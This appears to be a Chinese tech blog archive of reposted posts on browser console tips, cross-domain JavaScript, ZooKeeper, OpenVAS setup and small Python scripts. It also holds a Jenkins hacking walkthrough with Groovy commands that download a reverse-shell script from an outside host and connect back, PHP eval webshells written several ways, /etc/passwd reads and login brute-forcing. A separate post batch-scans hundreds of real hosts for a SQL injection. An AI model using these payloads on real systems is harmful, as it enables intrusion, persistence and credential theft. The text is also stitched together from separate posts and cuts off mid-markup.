    <table id="mytable">
        <tr>
            <td>A</td>
            <td>A</td>
            <td>A</td>
        </tr>
        <tr>
            <td>bbb</td>
            <td>aaa</td>
            <td>ccc</td>
        </tr>
        <tr>
            <td>111</td>
            <td>333</td>
            <td>222</td>
        </tr>
    </table>
</body>
<script type="text/javascript">
    window.onload = function () {
        var mytable = document.getElementById('mytable');
        console.dirxml(mytable);
    }
</script>

7、console.group输出一组信息的开头

8、console.groupEnd结束一组输出信息

看你需求选择不同的输出方法来使用,如果上述四个方法再配合group和groupEnd方法来一起使用就可以输入各种各样的不同形式的输出信息。

哈哈,是不是觉得很神奇呀!

9、console.assert对输入的表达式进行断言,只有表达式为false时,才输出相应的信息到控制台

 

10、console.count(这个方法非常实用哦)当你想统计代码被执行的次数

11、console.dir(这个方法是我经常使用的 可不知道比for in方便了多少) 直接将该DOM结点以DOM树的结构进行输出,可以详细查对象的方法发展等等

12、console.time 计时开始

13、console.timeEnd  计时结束(看了下面的图你瞬间就感受到它的厉害了)

14、console.profileconsole.profileEnd配合一起使用来查看CPU使用相关信息

在Profiles面板里面查看就可以看到cpu相关使用信息

15、console.timeLineconsole.timeLineEnd配合一起记录一段时间轴

16、console.trace  堆栈跟踪相关的调试

上述方法只是我个人理解罢了。如果想查看具体API,可以上官方看看,具体地址为:https://developer.chrome.com/devtools/docs/console-api

 

下面介绍一下控制台的一些快捷键

1、方向键盘的上下键,大家一用就知晓。比如用上键就相当于使用上次在控制台的输入符号

2、$_命令返回最近一次表达式执行的结果,功能跟按向上的方向键再回车是一样的

上面的$_需要领悟其奥义才能使用得当,而$0~$4则代表了最近5个你选择过的DOM节点。

什么意思?在页面右击选择审查元素,然后在弹出来的DOM结点树上面随便点选,这些被点过的节点会被记录下来,而$0会返回最近一次点选的DOM结点,以此类推,$1返回的是上上次点选的DOM节点,最多保存了5个,如果不够5个,则返回undefined

3、Chrome 控制台中原生支持类jQuery的选择器,也就是说你可以用$加上熟悉的css选择器来选择DOM节点

4、copy通过此命令可以将在控制台获取到的内容复制到剪贴板

(哈哈 刚刚从控制台复制的body里面的html可以任意粘贴到哪 比如记事本  是不是觉得功能很强大)

5、keys和values 前者返回传入对象所有属性名组成的数据,后者返回所有属性值组成的数组

说到这,不免想起console.table方法了

 

 

6、monitor & unmonitor

monitor(function),它接收一个函数名作为参数,比如function a,每次a被执行了,都会在控制台输出一条信息,里面包含了函数的名称a及执行时所传入的参数。

而unmonitor(function)便是用来停止这一监听。

看了这张图,应该明白了,也就是说在monitor和unmonitor中间的代码,执行的时候会在控制台输出一条信息,里面包含了函数的名称a及执行时所传入的参数。当解除监视(也就是执行unmonitor时)就不再在控制台输出信息了。

$ // 简单理解就是 document.querySelector 而已。
$$ // 简单理解就是 document.querySelectorAll 而已。
$_ // 是上一个表达式的值
$0-$4 // 是最近5个Elements面板选中的DOM元素,待会会讲。
dir // 其实就是 console.dir
keys // 取对象的键名, 返回键名组成的数组
values // 去对象的值, 返回值组成的数组

下面看一下console.log的一些技巧

1、重写console.log 改变输出文字的样式

2、利用控制台输出图片

3、指定输出文字的样式

最后说一下chrome控制台一个简单的操作,如何查看页面元素,看下图就知道了

你在控制台简单操作一遍就知道了,是不是觉得很简单!

JavaScript跨域总结与解决办法

发布时间:July 15, 2015 // 分类:工作日志,代码学习,linux,windows,转帖文章 // No Comments

什么是跨域

JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。但在安全限制的同时也给注入iframe或是ajax应用上带来了不少麻烦。这里把涉及到跨域的一些问题简单地整理一下:

首先什么是跨域,简单地理解就是因为JavaScript同源策略的限制,a.com 域名下的js无法操作b.com或是c.a.com域名下的对象。更详细的说明可以看下表:

URL 说明 是否允许通信
http://www.a.com/a.js
http://www.a.com/b.js
同一域名下 允许
http://www.a.com/lab/a.js
http://www.a.com/script/b.js
同一域名下不同文件夹 允许
http://www.a.com:8000/a.js
http://www.a.com/b.js
同一域名,不同端口 不允许
http://www.a.com/a.js
https://www.a.com/b.js
同一域名,不同协议 不允许
http://www.a.com/a.js
http://70.32.92.74/b.js
域名和域名对应ip 不允许
http://www.a.com/a.js
http://script.a.com/b.js
主域相同,子域不同 不允许
http://www.a.com/a.js
http://a.com/b.js
同一域名,不同二级域名(同上) 不允许(cookie这种情况下也不允许访问)
http://www.cnblogs.com/a.js
http://www.a.com/b.js
不同域名 不允许
特别注意两点:
第一,如果是协议和端口造成的跨域问题“前台”是无能为力的,
第二:在跨域问题上,域仅仅是通过“URL的首部”来识别而不会去尝试判断相同的ip地址对应着两个域或两个域是否在同一个ip上。
“URL的首部”指window.location.protocol +window.location.host,也可以理解为“Domains, protocols and ports must match”。

接下来简单地总结一下在“前台”一般处理跨域的办法,后台proxy这种方案牵涉到后台配置,这里就不阐述了,有兴趣的可以看看yahoo的这篇文章:《JavaScript: Use a Web Proxy for Cross-Domain XMLHttpRequest Calls

1、document.domain+iframe的设置

对于主域相同而子域不同的例子,可以通过设置document.domain的办法来解决。具体的做法是可以在http://www.a.com/a.html和http://script.a.com/b.html两个文件中分别加上document.domain = ‘a.com’;然后通过a.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个js文件之间就可以“交互”了。当然这种办法只能解决主域相同而二级域名不同的情况,如果你异想天开的把script.a.com的domian设为alibaba.com那显然是会报错地!代码如下:

www.a.com上的a.html

document.domain = 'a.com';
var ifr = document.createElement('iframe');
ifr.src = 'http://script.a.com/b.html';
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function(){
    var doc = ifr.contentDocument || ifr.contentWindow.document;
    // 在这里操纵b.html
    alert(doc.getElementsByTagName("h1")[0].childNodes[0].nodeValue);
};

script.a.com上的b.html

document.domain = 'a.com';

这种方式适用于{www.kuqin.com, kuqin.com, script.kuqin.com, css.kuqin.com}中的任何页面相互通信。

备注:某一页面的domain默认等于window.location.hostname。主域名是不带www的域名,例如a.com,主域名前面带前缀的通常都为二级域名或多级域名,例如www.a.com其实是二级域名。 domain只能设置为主域名,不可以在b.a.com中将domain设置为c.a.com。

问题:
1、安全性,当一个站点(b.a.com)被攻击后,另一个站点(c.a.com)会引起安全漏洞。
2、如果一个页面中引入多个iframe,要想能够操作所有iframe,必须都得设置相同domain。

2、动态创建script

虽然浏览器默认禁止了跨域访问,但并不禁止在页面中引用其他域的JS文件,并可以自由执行引入的JS文件中的function(包括操作cookie、Dom等等)。根据这一点,可以方便地通过创建script节点的方法来实现完全跨域的通信。具体的做法可以参考YUI的Get Utility

这里判断script节点加载完毕还是蛮有意思的:ie只能通过script的readystatechange属性,其它浏览器是script的load事件。以下是部分判断script加载完毕的方法。

js.onload = js.onreadystatechange = function() {
    if (!this.readyState || this.readyState === 'loaded' || this.readyState === 'complete') {
        // callback在此处执行
        js.onload = js.onreadystatechange = null;
    }
};

3、利用iframe和location.hash

这个办法比较绕,但是可以解决完全跨域情况下的脚步置换问题。原理是利用location.hash来进行传值。在url: http://a.com#helloword中的‘#helloworld’就是location.hash,改变hash并不会导致页面刷新,所以可以利用hash值来进行数据传递,当然数据容量是有限的。假设域名a.com下的文件cs1.html要和cnblogs.com域名下的cs2.html传递信息,cs1.html首先创建自动创建一个隐藏的iframe,iframe的src指向cnblogs.com域名下的cs2.html页面,这时的hash值可以做参数传递用。cs2.html响应请求后再将通过修改cs1.html的hash值来传递数据(由于两个页面不在同一个域下IE、Chrome不允许修改parent.location.hash的值,所以要借助于a.com域名下的一个代理iframe;Firefox可以修改)。同时在cs1.html上加一个定时器,隔一段时间来判断location.hash的值有没有变化,一点有变化则获取获取hash值。代码如下:

先是a.com下的文件cs1.html文件:

function startRequest(){
    var ifr = document.createElement('iframe');
    ifr.style.display = 'none';
    ifr.src = 'http://www.cnblogs.com/lab/cscript/cs2.html#paramdo';
    document.body.appendChild(ifr);
}

function checkHash() {
    try {
        var data = location.hash ? location.hash.substring(1) : '';
        if (console.log) {
            console.log('Now the data is '+data);
        }
    } catch(e) {};
}
setInterval(checkHash, 2000);

cnblogs.com域名下的cs2.html:

//模拟一个简单的参数处理操作
switch(location.hash){
    case '#paramdo':
        callBack();
        break;
    case '#paramset':
        //do something……
        break;
}

function callBack(){
    try {
        parent.location.hash = 'somedata';
    } catch (e) {
        // ie、chrome的安全机制无法修改parent.location.hash,
        // 所以要利用一个中间的cnblogs域下的代理iframe
        var ifrproxy = document.createElement('iframe');
        ifrproxy.style.display = 'none';
        ifrproxy.src = 'http://a.com/test/cscript/cs3.html#somedata';    // 注意该文件在"a.com"域下
        document.body.appendChild(ifrproxy);
    }
}

a.com下的域名cs3.html

//因为parent.parent和自身属于同一个域,所以可以改变其location.hash的值
parent.parent.location.hash = self.location.hash.substring(1);

当然这样做也存在很多缺点,诸如数据直接暴露在了url中,数据容量和类型都有限等……

4、window.name实现的跨域数据传输

文章较长列在此处不便于阅读,详细请看 window.name实现的跨域数据传输

5、使用HTML5 postMessage

HTML5中最酷的新功能之一就是 跨文档消息传输Cross Document Messaging。下一代浏览器都将支持这个功能:Chrome 2.0+、Internet Explorer 8.0+, Firefox 3.0+, Opera 9.6+, 和 Safari 4.0+ 。 Facebook已经使用了这个功能,用postMessage支持基于web的实时消息传递。

otherWindow.postMessage(message, targetOrigin);
otherWindow: 对接收信息页面的window的引用。可以是页面中iframe的contentWindow属性;window.open的返回值;通过name或下标从window.frames取到的值。
message: 所要发送的数据,string类型。
targetOrigin: 用于限制otherWindow,“*”表示不作限制

a.com/index.html中的代码:

<iframe id="ifr" src="b.com/index.html"></iframe>
<script type="text/javascript">
window.onload = function() {
    var ifr = document.getElementById('ifr');
    var targetOrigin = 'http://b.com';  // 若写成'http://b.com/c/proxy.html'效果一样
                                        // 若写成'http://c.com'就不会执行postMessage了
    ifr.contentWindow.postMessage('I was there!', targetOrigin);
};
</script>

b.com/index.html中的代码:

<script type="text/javascript">
    window.addEventListener('message', function(event){
        // 通过origin属性判断消息来源地址
        if (event.origin == 'http://a.com') {
            alert(event.data);    // 弹出"I was there!"
            alert(event.source);  // 对a.com、index.html中window对象的引用
                                  // 但由于同源策略,这里event.source不可以访问window对象
        }
    }, false);
</script>

参考文章:《精通HTML5编程》第五章——跨文档消息机制https://developer.mozilla.org/en/dom/window.postmessage

6、利用flash

这是从YUI3的IO组件中看到的办法,具体可见http://developer.yahoo.com/yui/3/io/
可以看在Adobe Developer Connection看到更多的跨域代理文件规范:ross-Domain Policy File SpecificationsHTTP Headers Blacklist

Zookeeper常用命令

发布时间:July 15, 2015 // 分类:开发笔记,运维工作,linux,windows,python // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo

 

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:工作日志,开发笔记,linux,python,windows,转帖文章,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

OpenVas 8 on Ubuntu Server 14.04

发布时间:July 10, 2015 // 分类:运维工作,工作日志,linux // No Comments

This installation is not made for public facing servers, there is no build in security in my setup.
Everything is run as root in this example below, including daemons and web servers…
I take no responsibility if this guide bork you server, burn your house down to ashes or just messes up your life.. It’s under the “it worked for me[tm]” clause

首先来安装各种支持库

sudo apt-get install -y build-essential devscripts dpatch libassuan-dev  libglib2.0-dev libgpgme11-dev libpcre3-dev libpth-dev libwrap0-dev libgmp-dev libgmp3-dev libgpgme11-dev libopenvas2 libpcre3-dev libpth-dev quilt cmake pkg-config  libssh-dev libglib2.0-dev libpcap-dev libgpgme11-dev uuid-dev bison libksba-dev  doxygen sqlfairy xmltoman sqlite3 libsqlite3-dev wamerican redis-server libhiredis-dev libsnmp-dev  libmicrohttpd-dev libxml2-dev libxslt1-dev xsltproc libssh2-1-dev libldap2-dev autoconf nmap libgnutls-dev libpopt-dev heimdal-dev heimdal-multidev libpopt-dev mingw32

# Fix redis-server for some openvas default install settings.

cp /etc/redis/redis.conf /etc/redis/redis.orig
echo "unixsocket /tmp/redis.sock" >> /etc/redis/redis.conf
service redis-server restart

# Move in to the right place to download some tarballs.

cd /usr/local/src

# Become almighty root (remember: safety off, segmented internal build on)

sudo su
# Download ‘all the things’
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2015/openvas-libraries-8.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2016/openvas-scanner-5.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2017/openvas-manager-6.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2018/greenbone-security-assistant-6.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1987/openvas-cli-1.4.0.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1975/openvas-smb-1.0.1.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1999/ospd-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2005/ospd-ancor-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2003/ospd-ovaldi-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2004/ospd-w3af-1.0.0.tar.gz

# unpack

find . -name \*.gz -exec tar zxvfp {} \;

# Configure and install openvas-smb:

cd openvas-smb* 
mkdir build 
cd build/ 
cmake .. 
make 
make doc-full 
make install 
cd /usr/local/src

# config and build libraries

 cd openvas-libraries-* 
 mkdir build 
 cd build 
 cmake .. 
 make 
 make doc-full
 make install
 cd /usr/local/src

# config and build scanner

 cd openvas-scanner-* 
 mkdir build 
 cd build/ 
 cmake .. 
 make 
 make doc-full 
 make install 
 cd /usr/local/src

# reload libraries

ldconfig

#create cert

openvas-mkcert

# Sync nvt’s

openvas-nvt-sync

# Start openvassd

openvassd

# Check with ps or htop if the daemon is started. or perhaps..

# watch "ps -ef | grep openvassd"
root 32078 1 27 16:09 ? 00:00:36 openvassd: Reloaded 6550 of 34309 NVTs (19% / ETA: 09:10)
root 32079 32078 0 16:09 ? 00:00:00 openvassd (Loading Handler)
# Wait until "openvassd: Reloaded is done".. and switches to "Waiting for ingcoming..."

# config and build manager

cd openvas-manager-* 
mkdir build 
cd build/ 
cmake .. 
make 
make doc-full
make install
cd /usr/local/src

# get scap feed

openvas-scapdata-sync

# get cert feed

openvas-certdata-sync

# create client cert..

openvas-mkcert-client -n -i

# Initialize the Database

openvasmd --rebuild --progress
 (This is going to take some time, pehaps time to get coffee?)

#create user

openvasmd --create-user=admin --role=Admin
 (write down the password)

# config and build cli

cd openvas-cli-*
mkdir build
cd build/
cmake ..
make
make doc-full
make install
cd/usr/local/src

# configure and install gsa

cd greenbone-security-assistant-*
mkdir build
cd build/
cmake ..
make
make doc-full
make install
cd/usr/local/src

如果提示缺失libmicrohttpd,我们来安装

cd /var/tmp
wget http://ftpmirror.gnu.org/libmicrohttpd/libmicrohttpd-0.9.34.tar.gz
tar zxf libmicrohttpd-0.9.34.tar.gz
cd libmicrohttpd-*
./configure
make
makeinstall

然后重新继续上一步

# Start the all the stuff.

openvasmd --rebuild --progress 
openvasmd
gsad --http-only

# check installation

wget https://svn.wald.intevation.org/svn/openvas/trunk/tools/openvas-check-setup --no-check-certificate
chmod 0755 openvas-check-setup
./openvas-check-setup --v8 --server

This should be a working default installation of OpenVas 8.
To try is out, go to http://serverip and login with Admin and your generated password.

# If you want to have pdf reports and such, you can always install:

apt-get install texlive-full
(this is not optimal thou, this installs a bunch of packets..)

# And some autostart script for ubuntu 14.04. and OpenVas8
# Nothing fancy, I took the init.d scripts from the debs for OpenVas5 and changed some stuff to make it work in the above setup.
# So all credits goes to the creators of the scripts that are mentioned in the scripts comments..
# This below downloads my modded init.d, default, logrotate.d scripts
# Unpack the tarball, copy the thingies to etc/
# Create the symlink to /var/log/openvas
# Create the symlinks for the autostart jobs..

cd /usr/local/src
wget http://www.mockel.se/wp-content/uploads/2015/04/openvas-startupscripts-v8.tar.gz
tar zxvfp openvas-startupscripts-v8.tar.gz
cd openvas-startupscripts-v8
cp etc/* /etc/ -arvi
update-rc.d openvas-manager defaults
update-rc.d openvas-scanner defaults
update-rc.d greenbone-security-assistant defaults

 

知其一不知其二之Jenkins Hacking

发布时间:July 9, 2015 // 分类:linux,转帖文章,windows // No Comments

大多安全工作者听到jenkins都会知道有个未授权的命令执行

但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢

抱着提出问题-->测试问题-->解决问题的思路有了这篇文章

shot_jenkins

 

 

 

 

 

 

 

 

 

由于版本众多 也不用下载本地测了 直接在内网找到六个

 

jenkins_inner

 

 

 

 

截止发稿 Jenkins新版本为(1.589)

一、 知其一的Jenkins未授权访问可执行命令

 

http://www.secpulse.com:8080/manage

http://www.secpulse.com:8080/script

默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令

jenkins_1

 

 

1) println "ifconfig -a".execute().text  执行一些系统命令

 

老外比较喜欢这样用:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = '[INSERT COMMAND]'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

 

 

2) 直接wget下载back.py反弹shell

 

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text

 

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面

back.py不需要root权限

jenkins_reverse_shell

 

 

3) 不想反弹试试Terminal Plugin

可以搜索安装Terminal Plugin

Terminal Plugin
https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin

jenkins_terminal

不想提权的话 还是蛮好用的终端插件 谁用谁知道~

二、不知其二之多种方式写shell

有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

 

尝试几次失败后开始翻阅Groovy  Script语法

The web site for Groovy is http://groovy.codehaus.org/

Groovy is a weakly-typed scripting language based on Java.

 

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法

def name = 'Joe'

println "Hello $name"

//Hello Joe

 

def name = 'Joe'

println "Number of letters in $name is ${name.size( )}"

//Number of letters in Joe is 3

 

//Groovy I/O 文件读写

 
读文件

text = new File("/tmp/back.py").getText();

 
//eachLine -- 打开和读取文件的每一行

new File("/tmp/back.py").eachLine { 

println it;

}

//readLines

lineList = new File("/tmp/back.py").readLines();

lineList.each { 

println it.toUpperCase();

}

 

write轻轻松松写文件

new File("/tmp/1.php").write('Hello SecPulse');

 

多行写入

new File("/tmp/1.php").write("""

This is

just a test file

to play with

""");

 

 

2)几种写webshell的错误写法:

println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text

println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text

new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

 

 

3)脑洞开 多种写webshell方法

① wget写webshell

println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

②

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

new File("/var/www/html/media.php").write("$webshell");

 

④追加法写webshell

def execute(cmd) {

def proc =  cmd.execute()

proc.waitFor()

}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )

execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//参数-n 不要在最后自动换行

 

jenkins_webshell

 

Result: 0 表示成功写入

Result: 1 表示目录不存在或者权限不足 写入失败

Result: 2 表示构造有异常 写入失败

 

Hudson(jenkins类似)找"脚本命令行"

hudson

 

 

 

 

 

 

 

 

 

 

 

执行Groovy代码,读取服务器本地/etc/passwd文件:

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

 

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console

http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

jenkins_msf_3

 

nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要

四、登录认证的突破

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限

user_config_2

 

 

1)某些版本匿名用户可以访问asynchPeople 可爆破密码

(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

 

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

http://jenkins.secpulse.com:8080/asynchPeople/

jenkins_asynchPeople

 

所有构建(builds)

http://jenkins.secpulse.com:8080/view/All/builds

可以导出为XML

http:// jenkins.secpulse.com:8080/view/All/cc.xml

userContent(一般就一个readme):

http:// jenkins.secpulse.com:8080/userContent/

Computers:

http:// jenkins.secpulse.com:8080/computer/

jenkins_computer

 

2) 熟练的猜密码

根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)

有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~

3) 构造精准字典,来爆破

最好是构造精准的字典 也可以是top1000之类的弱口令

jenkins_burp

爆破Payload里面的json串可以删除

主要根据location判断爆破成功与否

 

五、低权限用户命令执行突破

 

不小心猜了个用户 没有执行权限 但是有job查看和configure权限

http://jenkins.secpulse.com:8080/job/Job1/configure

jenkins_execute_shell_1

 

新加一个Execute Shell添加command  (win平台用Execute Windows batch command)

Cat /etc/passwd

Apply

添加左上侧 立即构建

Build History看到历史BuildId

右键

控制台输出

http://jenkins.secpulse.com:8080/job/Job1/300/console

纯文本方式

http://jenkins.secpulse.com:8080/job/Job1/300/consoleText

 

jenkins_execute_shell_3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

jenkins_execute_shell_2

 

老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html

 

六、asynchPeople等不能访问时候的突破

 

快速定位用户有妙招

1) 如果jobs能访问的话 各种翻jobs 会看到启动用户

jenkins_finduser_1

 

 

<p style="box-sizing: border-box; border: 0px; font-family: 'Microsoft YaHei', 微软雅黑, Helvetica, Arial, 'Lucida Grande', Tahoma, sans-serif; font-size: 16px; outline: 0px; padding: 0px; margin: 0px

python 域名转IP

发布时间:July 2, 2015 // 分类:开发笔记,运维工作,工作日志,linux,代码学习,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

about pypyodbc

发布时间:June 26, 2015 // 分类:工作日志,运维工作,代码学习,linux,转帖文章,windows,python // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

